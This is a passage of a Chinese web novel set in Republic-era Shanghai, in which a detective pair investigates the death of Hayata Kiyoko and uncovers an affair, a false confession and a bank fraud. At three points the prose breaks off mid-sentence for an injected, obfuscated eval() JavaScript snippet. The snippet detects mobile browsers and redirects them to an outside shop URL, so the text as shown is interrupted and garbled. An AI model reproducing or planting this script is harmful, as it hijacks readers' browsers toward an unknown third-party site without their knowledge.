他不过是个虾兵蟹将而已,怎么反而要他担责任了! 厂长默默地擦了把汗,赔笑道:“嫂子,大过年的,你就别吓小弟我了,我充其量也就是个小角色,大哥他喝多了,正在旁边睡觉呢,等他醒了我再要他跟你回电话……” “实话告诉你啦,我就在楼下,用楼下的公用电话给你打的,马上就能上来,要是被我发现了他不在这里,你们厂子明年就别想要活下去了!我说到做到!” “嫂子,你听我说……” 还没等他讲完,电话就被挂了,只传来嘟嘟声,吵得他心烦意乱。 厂长失了魂般地扔了电话,正不知所措间,才过了十几秒,便传来了猛烈的敲门声,与其说是“敲”,不如说是砸门。 “开门啊,小赤佬,让我老公出来见我!要是我发现有小妖精勾引人,你和你的破厂就等着陪葬吧!” 厂长吓得站了起来,心想:完了完了,全完了。 这下真是老虎进闸门——死路一条了。 …… 几个小时后,早田公馆。 玄关内是一个日式园林,里面栽了两颗迎客松,鹅卵石铺就的石板直通公馆,内里一派日本样式的陈设,雕刻精细的门栏,整洁的榻榻米房间,窗户上用木头雕刻了一颗松树。 今天是佣人们的休息日,所以格外的安静。谁知,本是宁静的氛围却爆发出了激烈的争吵声,突然“啪”的一声,花瓶碎了,这一声仿佛碎裂的绸缎,在夜色中十分突兀,又像一个分界线,分开了夜与黎明,嘈杂与寂静…… 这一声过后,世界又安静了下来。 静得仿佛坠入了地狱。 103. 死者来信 第二日,巡捕房便接到报警,来自日本的早田清子小姐离奇死亡,尸体被发现在自家的公馆内,因为死的是日本人,事情被上报到了督查府,让代总督察詹姆斯有些头疼。 他虽然办过许多案子,可是死者是日本人还是头一次,日本领事馆一定会施压,到时候他们督查府就会很被动了。 詹姆斯祖上是苏格兰人,他有着一头红发,但这红发不是不是纯正的红色,而是接近姜黄色,成为了他的标志。詹姆斯早年在苏格兰场工作,又去了警官学校深造,和炎曜成为同窗,后来去了北平当督查秘书,现在调到了上海滩工作了几个月。 对于炎曜,詹姆斯一向是佩服的,当年在警官学校,炎曜几乎门门课都是第一,虽然给人感觉冷冷的,可团队作业时,炎曜是一个很好的领导,对于组员也尽他所能的帮助,也就是那几年,詹姆斯和炎曜结下了深厚的情谊。 他喜欢抽雪茄,特别是想案情的时候,这时也点了一根雪茄,抽了一口,紧锁住了眉头。 正在这时,督查府的大门被推开,通报的人大声说:“回来了!回来了!” 詹姆斯正放下电话,问:“谁回来了?” “是炎督查和水小姐回来了!” 詹姆斯一惊,随即起身去迎接他们。 炎曜已经换上了督查服,恢复了往日的生人勿近,水影则是一身格子大衣,婷婷袅袅,让人侧目。 炎曜和水影回到上海滩后,皖军的势力越来越大,为了保险起见,便开始将家人转移到香港去避风头。杰克问炎曜怎么不去,炎曜只是摇头,说还不是时候。 暗夜组织就像一个定时炸弹,只要他们存在一天,上海滩就一天不会安稳。 起因是水影收到了一封信,这封信是早田小姐寄给她的,但信却十分奇怪,只有一首诗,是汉代卓文君所写的《白头吟》,娟秀的钢笔字让人赏心悦目,其中“月”字和“心”字被单独圈了出来,“月”字甚至被画了两个圈—— 皑如山上雪,皎若云间月。 闻君有两意,故来相决绝。 今日斗酒会,明旦沟水头。 躞蹀御沟上,沟水东西流。 凄凄复凄凄,嫁娶不须啼。 愿得一心人,白头不相离。 竹竿何嫋嫋,鱼尾何簁簁! 男儿重意气,何用钱刀为。 这诗实在是奇怪,明明说的是女子对负心男子表示决绝,谴责喜新厌旧的行为。相传卓文君十七岁便守寡,司马相如一曲《凤求凰》对她表明心迹,让她一听倾心。然而,他们的爱情却遭到了卓父的阻挠。卓文君为了爱郎毅然逃出了卓府,与深爱之人私奔,不惜当垆卖酒。 但是故事的发展却并不尽如人意。当司马相如在事业上略显锋芒之后,久居京城,产生了纳妾之意,准备娶茂陵的一个女子为妾。于是卓文君作此《白头吟》,表达对负心男人的谴责与自己对爱情的忠贞。 可是,本应该给男子发的信,为什么会到自己手上?更令人惊奇的是,信的右下角写着一个“0”,好像是书页的页面一般,可是水影不自觉地就想起暗夜组织的衔尾蛇标记,难道早田清子是在提醒水影,自己的死与暗夜组织有联系? 收到这封信的第二天就得知了早田清子的死讯,水影觉得,这封信一定很关键,里面隐藏了早田清子想说却并没有说出口的话。 也许早田清子早有预感自己会遭到毒手,所以才会寄给水影这封信,没想到第二日就成真了。 *** 水影与炎曜一行来到了早田公馆内,这里环境清幽,十分安静,门口白墙有新刷过的痕迹。 清子的尸体仰卧于公馆地面上,背上有微赤色尸斑,双手被麻绳捆住,死亡时间是凌晨十二点到三点之间。她的头上是花瓶砸过的痕迹,后脑勺肿了很大一个包,流了不少血,旁边是一个烧水的炉子,血迹滴落在炉边,水壶的水早就烧干了,要不是第二日佣人来得早,恐怕要起火烧掉整间屋子。 水影有些怅然若失,上次见到早田清子还是在赫寒之的家宴上,二人只是打了个照面,寒暄了几句,谁知这次,这个美丽的女人就成了一具冰冷的尸体。 那是她们见到的第一面,也是最后一面。 杰克正在记录,问水影:“那么死因就是因为花瓶砸脑后,失血过多而死吧?” 水影却摇头:“我还要详细检查一下。” 一会儿,道:“死者皮肤呈樱桃红色,很明显是一氧化碳中毒,房间的门窗都关闭,又有炉子在烧水,也为此种中毒提供了条件。所以,花瓶砸头并不是致命伤,最后致死的还是一氧化碳。” 杰克点头,写下了结论。 水影又环顾四周,只觉得这屋子被收拾得井井有条,其中最显眼的,便是屋子正中的屏风。 这屏风一看就绣工精美,一副旷野风景图,是傍晚时分的景象。上面有鸦青色流云,一枚明黄色月亮隐在云间,若隐若现的,神秘而冷冽。远处是雪山,近处是一条河流,河边有一座朱红色的亭子,一对有情人坐在河边钓鱼,旁边放着一壶清酒。 炎曜此时已经开始询问公馆的佣人。 公馆有两个佣人,刘妈负责煮饭打扫,张妈则负责洗衣服和买菜,二人均是拘谨内向的人,话很少,都说当天是除夕,早田小姐说给她们放三天假,不需要伺候。 炎曜问:“你们平时什么时候放假?” “初一和十五。”两人异口同声道。 “这两天你们两个人都不在么?” 二人点头。 这就有些奇怪了,一般有钱人家要佣人伺候,需要日日都有人在,所以佣人休息也只是轮班,保证天天有人,可是早田公馆却在每一个月的两天完全不要人伺候,难道是因为早田清子这两天不在公馆,或是要见什么重要的人,所以要佣人回避? “在你们眼中,早田清子小姐,是一个怎样的人?” 刘妈想了想,说:“清子小姐为人淑静,是个很喜欢安静的人,在家无事时就喜欢刺绣打发时间,平时也会去参加一些名媛聚会,毕竟他们上流社会的人,总是有很多应酬要去的,不去也不合适。可是清子小姐却从来不在公馆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13037066|122837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 举办聚会,说怕麻烦,所以公馆里还是她一个人比较多。” “比较多是什么意思?这公馆就清子小姐一个人住吗?还是说,偶尔还有别人?” “公馆的主人是清子小姐的父亲早田信先生,早田先生很多时候还是住在日本,上海滩的生意由清子小姐一人打理,早田先生总是骄傲于他这个女儿,说这个女儿比他几个儿子加起来还要有本事。” 炎曜继续问:“这些天有没有什么不寻常的事情发生?” 刘妈思索了一下,似乎欲言又止。 张妈仿佛抢话似的,“当然没有了,只是清子小姐就这么不明不白地死了,真是天妒红颜啊。” 炎曜看出了刘妈的迟疑,只觉得她在刻意隐瞒着什么。 “面对警察问询,公民应该知无不言言无不尽,如果没有说完全,或者藏匿什么线索,那就要请你们去巡捕房做客了。” 刘妈吓得脸色一白,连忙说:“我……我不是有意瞒着什么的,只是……哎,这怎么好意思说得出口。” 张妈用胳膊肘捅了捅刘妈,示意她不要再说下去了。 炎曜怎么可能放过这个机会,他冷脸正经道:“请快点说,耽误了破案进程,我有理由治你们的罪。” 刘妈叹了口气,“这件事关乎清子小姐的名声,可是如果连凶手都抓不到,名声又有什么紧要的?” 刘妈就这样一股脑地将她所知的全倒了出来。 早在一个月前,公馆就陆陆续续收到了死亡恐吓信,后来对方变本加厉,直接泼了桶红油漆到门口,把白墙都弄脏了,这也就是门口的墙面被重新粉刷的原因。 “你们就没有报警吗?” 刘妈皱眉,委屈地说:“我们也想报警啊,可是清子小姐不让,她还说,不想把这件事情闹大,闹大了对谁都不好,再说了,她知道写恐吓信的是谁,到时候会亲自去找对方。” “她跟你们说过是谁写的吗?” “没有,只是说她会处理的,要我们不要担心。” 炎曜找她们要来了那些恐吓信,上面的字是报纸上的字剪下来的,没有笔迹,其中很多都是诅咒,还有一封写着“破坏别人家庭,不得好死”之类的话。 张妈见刘妈说了,知道瞒不了,只是说:“主人家的隐私我们做佣人的也不好随便打听,至于清子小姐的情感生活我们更是不得而知,她也从来没有跟我们提过。督查大人,我们只是小老百姓,什么都不知道了,我发誓,这次说的是真的。” …… 炎曜又派巡捕们找周围的居民问话,看有没有发现,谁知真有了线索。 凌晨两点一个老人起夜倒夜香,见到早田公馆门口有个戴墨镜,用围巾包住脑袋的女人鬼鬼祟祟的,她惊慌失措地从公馆冲了出来,就好像看见鬼一样,钻到了轿车里,一溜烟就把车开跑了。 巡捕问他记不记得车子的牌号,老人说当时太晚了,没看清楚,只看见车牌末尾有两个六。 经过排查,车子的主人正是恒生银行总裁周润卿的妻子,白氏集团主席的女儿——白韵竹。 104. 一场闹剧 得知这个消息,水影有些惊讶,上次见到这对夫妇也是在赫寒之的宴会上,怎么珠光宝气、神采奕奕的白韵竹转身就变成了嫌疑人?又想起和早田清子谈话时,她手上的戒指,那是一个样式简单的银戒指,周润卿也有一个相似的,只不过一个是男款,一个是女款,当时水影就觉得有些奇怪,还以为自己多想了,难道这就是二人的情侣对戒? 可是清子的尸体上如今并没有那枚戒指,那这戒指,到底去哪儿了呢? 让人始料未及的是,白韵竹直接承认了罪行,说自己就是杀害早田清子的凶手。 她的黑眼圈很重,似乎一夜没睡,明明是保养得宜、风光神气的妇人,却好像一夜苍老了十岁,头发也乱糟糟的,连涂了指甲油的指甲都因为心情紧张,扣掉了颜色,变得一块有色,一块没色,像小孩子杂乱的涂鸦。 “人是我杀的,那些恐吓信也是我寄的。”白韵竹只是说,像一个提线木偶似的,被抽去了所有精气神。 水影请求和她单独谈谈,她总觉得,其中有隐情。 “水小姐,我们又见面了。”白韵竹脸上挂着一丝惨笑,将杂乱的头发往后理了理,试图保持最后的体面,“只是没想到,这次见面我会如此狼狈。” “白女士,人真的是你杀的吗?”水影眼神关切,望着她的眼睛说。 白韵竹一愣,已经很久都没有用自己的姓称呼自己了,他们总是叫她周夫人,或者周白氏,好像自己早就已经成了丈夫的附庸,成了活在丈夫身后的一个影子,水影的这声“白女士”,让白韵竹有些茫然失措,又好像重新找回了昔日的影子。 她的目光又垂了下来,盯到了自己的指甲上。 “早田清子就是个贱人,她勾引我的老公,我是个最注重脸面的人,气不过,找她对质,争吵间,用花瓶砸向了她的后脑勺,将她砸死了。我突然看到她手上戴着的戒指,和我老公手上的一模一样,就慌忙将戒指摘了下来,拿回了家,你们大可以在我家的书房找到。” 水影颔首,如此说来,戒指的下落得到了解释。 白韵竹睫毛颤抖,突然问:“水小姐……我这种算是过失杀人对吧?如果我爸爸给我找一个好的律师,应该不会被判死刑吧?” “可是你会坐牢,而且会坐很长一段时间的牢,到时候,你的孩子也许都认不出你了。” 白韵竹痛苦地闭上了眼睛,一会儿,又缓缓睁开,水影感觉到了她的崩溃,白韵竹淡淡道:“没关系,活着就好。” “你刚才说你用花瓶砸死了她,那房间的窗户是关着还是开的?” “关的……哦不,是开着的。” “你再想想。” 白韵竹将手指插到头发里,断断续续地说:“我不记得了……当时太混乱了,怎么会记得这些细节?” “你和死者争吵中,怎么会走到她身后袭击?这不合常理,要砸也应该是砸向面门才是。” “我和她吵着吵着就快要打起来了,早田清子去拿东西想打我,背对着了我几秒,我就抄起身旁的花瓶,朝她砸去了,等我冷静下来时,她已经倒在血泊里了。” “那她被砸中后脑,是不是俯卧在了地上?”水影试探着问道。 白韵竹不疑有他,回答:“是啊,那是当然。” 水影皱眉道:“可是我们发现她尸体时,她明明是仰卧在了地上,和你的证词并不相符。” 白韵竹脸色一白,“这……这怎么可能……我明明看见了……是俯卧的。”她一拍脑袋,又说:“还有你刚才问的窗户的事情,我想起来了,当时我觉得房间好冷,余光一看,有一扇窗户是打开的,我就离开了公馆,也没有管窗户的事了。” “那房间的炉子呢?当时正在烧热水吗?” “没……没有,炉子是关的,我没听见烧水的声音。” 水影心想:难道是有另一人在白韵竹走后又来到了案发现场,点起炉子,关闭门窗,让早田清子一氧化碳中毒而死? 这时,门外突然传来了嘈杂的声音,是周润卿,他大喊道:“求求你们让我见见我老婆!我老婆不可能杀人的!” “老公!”白韵竹听到他的声音,激动地想从椅子上站起来,又被巡捕按了下去。 周润卿的声音越来越远,应该是被人带走了。 白韵竹突然捂着脸,哭泣起来,豆大的泪珠从她的指缝渗了出来,“为什么……这一切到底是为什么……我们的日子过得不好吗……你以前就是个连饭都吃不饱的穷小子……是我和我们家带你走到了上流社会,成为了人上之人,你真的以为如今的成功靠你自己就能达到吗……你怎么还不满足……为什么……你要背叛我……为什么你要去找情人?” 她的肩膀一抽一抽的,水影不忍,只觉得这个看似强大的女人好像一瞬间被抽掉了所有的精神与尊严,也许是出于同情,水影递给了她纸巾。 白韵竹接过纸巾,胡乱地擦着,妆都擦花了,纸巾上红一片白一片。 经过问询,周润卿是从旅馆直接到巡捕房的,他一觉睡得很沉,怎么都醒不来,还是司机听到消息去旅馆找周润卿,说夫人被警察抓走了,他这才如梦初醒,赶到了警局。 在警察的质问下,周润卿红着脸承认了出轨早田清子的事实,又说他们只是□□关系,再没有其他了。 水影似乎猜测到了白韵竹认罪的原因,有些怒其不争,看起来明明那么精明的一个人,怎么关键时刻如此犯蠢。 “你是不是以为清子是周先生杀的,所以就把罪责揽到自己身上?实话跟你说了,周先生像是被人下了安眠药,一直在旅馆睡觉,这一点房东先生可以证明,所以,清子的死和他一点关系都没有。如果你为了这个就去顶罪,我只能说,这种行为实在是太愚蠢了。” 白韵竹被水影的话惊呆了,嘴唇微张,连眼睛都瞪大了。她怎么都没想到,早田清子的死居然和她丈夫无关,那她就这样过来巡捕房认罪,岂不是一个笑话? 她似乎崩溃了,一直喃喃道:“我真是太傻了……这个世界上怎么会有我这么傻的女人!差一点……就差一点……我就成了可怜的替罪羊,整个人生都差点毁了!” 水影默默地等她发泄完,她深知要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13055100|122837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 消化这个消息要付出多少努力。等白韵竹渐渐平静下来,水影道:“你就这么爱你的老公,爱到愿意为他顶罪?” 白韵竹握紧拳头,激动地说:“不是的!我老公不能被抓,如果他被抓,那全上海滩都会知道这件丑闻了!如果我被抓了,大可以动用家里的关系封锁消息,反正我也没在上班,就算失踪一段时间也没关系,就说我去国外养病了,或者说去国外旅游,可如果我老公被抓了,恒生洋行没人主事,记者会把这件事捅出去,公司股价也会一落千丈,我丢不起这个脸!” “那你就宁愿委屈自己认下这份罪,然后不清不楚地坐牢吗?” 白韵竹呜咽了一声,“我错了,我真的错了,水小姐,谢谢你帮我,不然我就真的成了替罪羊!” 白韵竹说,自己本来去酒楼打算捉奸,可是酒楼里只有周润卿生意往来的朋友,再没有其他了,她逼问他们自己老公的下落,可他们全都不知道,白韵竹其实早就知道周润卿和早田清子私通,所以才弄了那些恐吓信,甚至找人去泼油漆,一周前,早田清子找到了她,说自己只是和周润卿玩玩而已,男欢女爱各取所需,要她不要介意,自己也绝对不会破坏他们的婚姻与家庭,更不会让其他人知道这件事。 白韵竹最注重脸面,只要别人不知道,这件事就当做没发生算了,外人仍会像以前一样地羡慕她,觉得她有着上海滩最顶级的家世,最美满的婚姻,最乖巧的儿女,最舒适的生活,最昂贵的衣饰包包,有着世上女人能拥有的最好的一切。她永远是上海滩的传奇,永远是被人艳羡的那一个。 平常就睁一只眼闭一只眼算了,可昨天不一样,除夕之夜,是家庭团圆的日子,孩子们哭喊不停,说要爸爸,白韵竹不知道二人去了哪儿,便想着他们会不会去了清子家的公馆偷情,这才杀到了公馆,要早田清子给一个说法,谁知却发现她倒在血泊中,像是没气了……早田清子肯定刚才和自己的丈夫在一起的,难道二人一言不合吵了起来,丈夫一怒之下杀了清子然后逃走了? 不行,警察肯定很快就会发现他们的关系,到时候人尽皆知,她还有什么脸面活下去?!她会成为全上海滩的笑柄,所有人都会知道,她只是营造出了一个美满生活的泡泡,这个泡泡看起来美丽,却是那么脆弱,一戳就破了。 一想到那些可能发生的嘲笑与戏谑,白韵竹觉得这简直比杀了自己还难受。 既然丈夫逃走了,那就让警察将自己抓进去,等她丈夫听到结案的风声就会回来,为了家里的脸面,即使被判刑,丈夫和爸爸也会把这件事压下去,不会有任何人知道。他们家很有钱,可以说泼天的富贵也不为过,即使丈夫狠心,她爸爸也会竭尽所能将她救出去的。 这,就是白韵竹心里的盘算。 谁知道,这一切都是她的臆想?她完全想错了整件事情。 …… 水影听懂了前因后果,只是问她:“脸面就这么重要,比你的自由还重要?” 白韵竹没有吭声,水影知道,她的内心正在天人交战。 这场闹剧结束了,可是案子却远远没有结束…… 105. 浩劫将至 对周润卿的调查也让警务处发现了一个隐藏的黑洞——原来恒生银行已经陷入了财务危机,几乎呈现摇摇欲坠的态势。 在周润卿的倡导下,恒生银行以不动产为抵押发行了许多债券,可是周润卿为了以小博大,居然用债券融资得来的钱投资到了股票市场,本来他所投资的股票涨势不错,这种违规操作也就不是什么大问题,但最近不知怎的,就像被鬼缠上身一般,他投资什么股票,那只股票就会大跌,差点连本金都亏空了,周润卿不得不动用关系,开始借新债还旧债,就像一个定时炸弹,随时都有引爆的危险。 恒生银行是上海滩最大的几家银行之一,如果恒生破产了,上海滩金融界一定会有一次大的动荡,甚至由此波及到其他行业。 水影不是没有读过新闻报道,曾经青岛有一明华银行,是行业翘楚,可惜遇到了金融危机,不得已宣布破产,大储户倒还好,像市政府、法院、电报局那些公款转存单位,马上将银行现金提光,而和明华银行往来的那些大小银行也十分聪明,各显神通将存款转作抵押贷款,直接将银行的不动产查封,在法院的操作下将这些不动产转到自己的名下,然后变卖获利。 而那些中小储户呢,一时间财产化为乌有,甚至有人跳海自杀。对普通老百姓来说,那是一场浩劫,每天都有两三千人在银行和市政部门门口请愿,摔盆打碗,痛哭流涕。 曾经有一老妇,儿子做工时意外身亡了,工地赔偿300元,老妇因为明华银行利息高,便将这些钱全部存入银行,当做养老钱,谁知道银行破产,这些钱一分都拿不到了,老妇伤心绝望之下,竟在银行门口服毒自杀了。 …… 炎曜与詹姆斯意识到了事情的严重性,直接将周润卿控制住了,在他的交代下又挖出了不少隐藏账户,他们没日没夜地调查银行流水,发现股票亏空的那些钱最后都汇聚到了一个日本账户里面,而账户的主人,便是早田清子的父亲早田信。 “真是可恶,这些恶鬼,还有什么事是做不出来的?”炎曜此刻已经出离了愤怒,列强已经从中国得到了那么多好处,为什么他们还不满足,难道要吃尽老百姓最后一滴血,剜去他们最后一块肉才会收手吗?! 早田信已经被警方通缉,可自从两周前在上海滩公开会面后,他就消失了,没人知道他的踪迹,如果他已经逃回了日本,那就真如泥牛入海,再难找寻了。 水影也很焦虑,事情远比她想象的要严重得多,她本以为只是一起简单的杀人案,最多从这案子里发现暗夜组织的踪迹,可是居然牵扯出了这么大的一个黑洞? 周润卿悔不当初,这位平日里风度翩翩的银行总裁此刻胡子拉碴,连眼镜都顾不得戴。 “一定是她,一定是她!”他像疯了一般,嘴里不停念着。 炎曜皱眉:“你口中的她,到底是谁?” 周润卿眼中结满了蛛丝一般的红血丝,他的眼睛直勾勾地盯着炎曜,却没有焦点:“我早应该想到的,早田清子就是一个商业间谍,每次和她私会后,我总是沉沉地睡去了,一定是喝了她递给我的牛奶,里面有安眠药!我没有防着她,有时会将一些重要文件带在身上,里面就有想买的股票,早田清子和她父亲联合起来欺骗我,不光要骗光我自己的家产,还要拖整个银行下水,这个毒妇!” 他突然疯了一般大笑:“还好这个臭女人死了!死得好,死得好!最好下地狱去吧,永世不得超生!” 炎曜看着他癫狂地模样,只觉得恶心。 听旅馆的房东说,二人私会时郎情妾意,蜜里调油,好得像是一个人一般,如今竟开始恶毒地诅咒起对方了?可这一切的开端不是他自己不顾金融律法,随意投资,又贪恋美色,才落得如此下场吗。 *** 忙了一整天,水影连饭都没时间吃,还在炎曜办公室整理案发时间线。 旅馆房东看到清子凌晨一点离开了,从那里到早田公馆是三十分钟路程,也就是凌晨十二点半到两点间有不速之客(第一人)进来,用花瓶砸向了清子,两点时,白韵竹(第二人)进入公馆看到清子,从她手上拿回了戒指,这个时候清子还是俯卧的,再后来,第三人,也就是凶手过来将门窗关闭,炉子烧水,让清子一氧化碳中毒身亡。 事情的关键,就是第一人和第三人是不是同一人? 水影在第一人和第三人之间画上了等号,又在等号上打了一个大大的问号。 炎曜推门进入,后面跟着杰克。 杰克打了个哈欠,只觉得老大和水小姐真是神人,忙碌了一天也不知疲惫,特别是对案子死咬着不放手的劲头,真是天生一对。 炎曜手里拿着一个纸袋,里面装着庆园的小笼包和葱油饼,他轻轻握住水影的下巴,让她抬起头来,否则一直保持一个姿势,脊椎怎么受得了?又走到她身后帮她按摩肩膀。 水影舒服地闭上眼睛。 炎曜又要她把饭给吃了,不要饿着,听到水影一天没吃饭,不禁皱眉,要杰克提醒饭堂的魏姨给水影送饭,一日三餐都不要落下。 “我还是想不明白,早田清子那封信是什么意思,又为什么要寄给我?” 炎曜捏捏她的脸蛋,说:“案子是忙不完的,先吃饭吧。” 水影这才觉得肚子有些饿了,慌忙将小笼包往嘴里塞,眼睛还是盯着卷宗。 “吃慢点,又没人跟你抢。”炎曜眼角带上了笑意,声音是连他自己都没察觉的柔和。 杰克心想,老大,你还有脸说人家?你自己不是也忙着忘记吃饭了吗? 正这样想着,炎曜似乎有读心术一般,转头对杰克说:“你以后也要记得提醒我吃饭,不要再像以前一般不管不顾了。” 水影揶揄道:“以前怎么样,现在又怎么样?有什么区别吗?” 炎曜不语,突然说:“这葱油饼好吃吗?我看老常以前经常跟你买……” 听到这个名字,水影睫毛垂下,本是大快朵颐,也蓦然停了下来,好似有些落寞。 原来已经有这么多人无声地离开了自己,生命那么脆弱,离别却那么长久。 炎曜自知失言,陷入了沉默,心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13062607|122837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里只是在想:以前我孤身一人,无论病痛或是危险,都是我一人承受罢了,可是现在,我有了你,所以想活得久一些,再久一些,这样与你相守的日子便也会长久一些。 只是这样肉麻的话,炎曜自是说不出口的,便随便扯了些闲话,没曾想却戳到了她的伤心处,真是不该。 炎曜不想水影沉溺于过去,便换了个她感兴趣的话题——案子。 “上次你在赫寒之的宴会上展示了你的能力,清子十分认可你的聪慧,也许她觉得,你能帮她。” “帮她?可是她不是帮着早田家做坏事吗?难道是改邪归正了?”水影美眸扑闪,果然被案子重新吸引了注意。 “你上次说,这件事也许和暗夜组织有关?” “是呀,那个信上的‘0’,不就像暗夜组织的衔尾蛇标志?我总觉得和暗夜组织脱不了关系,很可能这个组织的老大勾结了早田信,他们达成合作,才想出了如此的毒计。” 水影又拿出那封信,这些天,她已经将信看了无数遍,甚至都会背了。她还试过打湿信纸或者将信靠近火焰,看有没有什么秘密字迹显现出来,很可惜,是她想多了,并没有。 早田清子留给水影,亦或者说,她留给这个世界的最后遗言,就是这样一封没头没尾的信。 说来真是唏嘘。 人死如灯灭,一个人留给世界最后的,不过是只言片语,再加上一抔骨灰罢了。 水影突然像想到了什么,托着腮问:“从早田清子家里有搜出银行的文件吗,或是记录股票买卖的账本,总会有这些蛛丝马迹的吧。” 炎曜摇头,对于这点,他和水影想到了一处,也曾派巡捕仔细搜查公馆,连一个角落都不要放过,可是却没有股票交易的信息。 看着她升起希望却又逐渐黯淡的眼眸,炎曜问她怎么了。 “只觉得山雨欲来风满楼,这世道本就很乱了,偏偏就有歹毒之人想让它更乱些。”水影无奈地叹了口气,又说出了自己的推理:“既然如此,这就更可疑了,第一人砸晕清子后,一定是整理了案发现场,所以只有炉边清子晕倒的地方有血迹,其他地方都没有血,后来白韵竹的供词以及她脚底没沾上血迹可以证明这点,如果第一人和第三人不是同一人的话,一定是其中一人拿走了那些股票的记录。” 看着炎曜陷入了沉思,水影问他是不是想到了什么。 “佣人说清子平时很少与人交际,如果清子想洗心革面,一定会与早田信爆发矛盾,这是不可避免的,所以说,砸晕她的很有可能就是早田信。砸晕清子后,早田信便整理了案发现场。除夕后,因为发生了这起案子,各大码头城门都加强了戒备,登记了进出的人口,特别是对出城的人详细盘查,直到现在还没有消息,如果我猜得没错的话,早田信现在,还在上海滩。” 这个猜测让炎曜与水影俱是兴奋起来,只觉得纷乱的线团终于找到了头绪。 只要捉到早田信,事情便会迎来转机,如果能从他那里拿回股票欺诈所得的利益,恒生银行的危机便有解决的可能了。 106. 山上雪与云间月 吃完饭已经很晚,水影本又想在炎曜办公室再将就一晚,节省通勤时间,炎曜却执意送水影回家,毕竟办公室的沙发哪里有家里的床舒服,等着他们的还有一场硬仗要打,不好好休息怎么得了。 他们才刚从皖城回来,还没喘口气,就发生了这件事情,本来二人相约要一起过年的,最好是休息十五天,到元宵节再想其他的,谁想到只是吃了除夕的一顿饭,就收到一封诡异来信,大年初一的清早就听说了早田清子的案子。 水影突然有些怀念从皖城赶往上海的时光,出了皖城后,危险终于解除,经过这场危机,二人愈发情浓。轿车行驶于山间公路,只见江河流淌,飞鸟略过,好像天高地广,他们也如同飞鸟一般,终于得到了自由。 那些天没有下雪,反而出了太阳,杰克在前面开车,后座的水影靠在炎曜的肩上晒太阳,只觉得全身暖洋洋的,炎曜把玩她的头发,心里是从未有过的欢心愉悦,只是有时会有不真实的感觉,甚至担心这是不是他做的一场梦,等梦醒了,她又消散不见了。 经过南京时,决定休息一天,为掩人耳目,只能晚上游玩。他们夜游秦淮河,就像寻常的小情侣一般。 租了一种叫“七板子”的小船,淡蓝色栏杆,空敞的舱,上面还放了两张藤躺椅,能让他们并肩躺在船上看星星。夜色起了,船上也点上了两盏灯火,朦朦胧胧的,像晕上了一层烟雾。 那时快过年了,人人脸上都洋溢着欣喜,虽然个人与家国的前路皆是不定,可是当下的快乐总是真实存在的,什么事情都等过完年再说吧。小船走走停停,二人遇到什么新奇的就会让船家停船,上岸探索一番。 夫子庙有庙会,灯火通明的,大家都出来打年货,为过年做准备。水影和炎曜吃了鸭血粉丝汤,又买了雨花石和云锦。经过乌衣巷时,不禁想起“旧时王谢堂前燕,飞入寻常百姓家”的诗句,王朝更替,家族兴衰,历史的车轮滚滚前进,只留下细细窄窄的乌衣巷,似乎向游人诉说着古老的故事。 作为六朝古都的金陵,总是有这样那样的底蕴,引人探索,回味无穷。 这好像是他们第一次出来游玩,以前都是为了办案去不同地方,这次却单纯为了玩乐,什么都不用想,什么都不用牵挂,心情也自然不同了,明快了不少。 船桨划过碧阴阴的水波,耳边似乎听到了吴侬软语的小调,河上很热闹,不光有他们这种七板子小船,还有雕龙画凤的画舫,能容纳二三十人,每艘船都点着数量不一、或明或暗的灯火,星光与船上的灯火交交相辉映,分不清天上的星河还是人间的灯河。 水影指着星星,好像认出了北斗七星,刚要侧过头望向炎曜,却发现他一直望着自己,视线从没有移动过。 他的眼神专注,眼底又带着一种惆怅与不安,让水影心里一软,又涌过了莫名的酸涩。 他们明明没有说话,可是水影心里却清楚,他担心的是什么。 她嘴唇微微一勾,突然伸出小指,勾上了他的小指。 炎曜只觉得指尖一痒,感受到了她指尖的温热,便趁势握住了她的柔夷,再也不放开。 此时小船经过了一座桥,头顶是深褐色的桥砖,看起来很有些年头了,数百年的历史,比他们年龄加起来还要大。 水影的声音很轻柔,回荡在夜色里。 她说:“我就在你身边,一辈子,哪里都不去。” 炎曜吻上了她的额头,又是眼皮,鼻子,最后落到了她的嘴唇上。 这一吻像羽毛一般,轻轻柔柔的,不似那一夜的狂乱不甘,却有一种历经千帆之后的珍重与爱惜。 水影顿时心软得一塌糊涂。 她甚至有个念头,要是这趟旅程永远不结束该有多好,他们就一直在秦淮河的小船上飘着,飘着,一直飘到天涯海角。 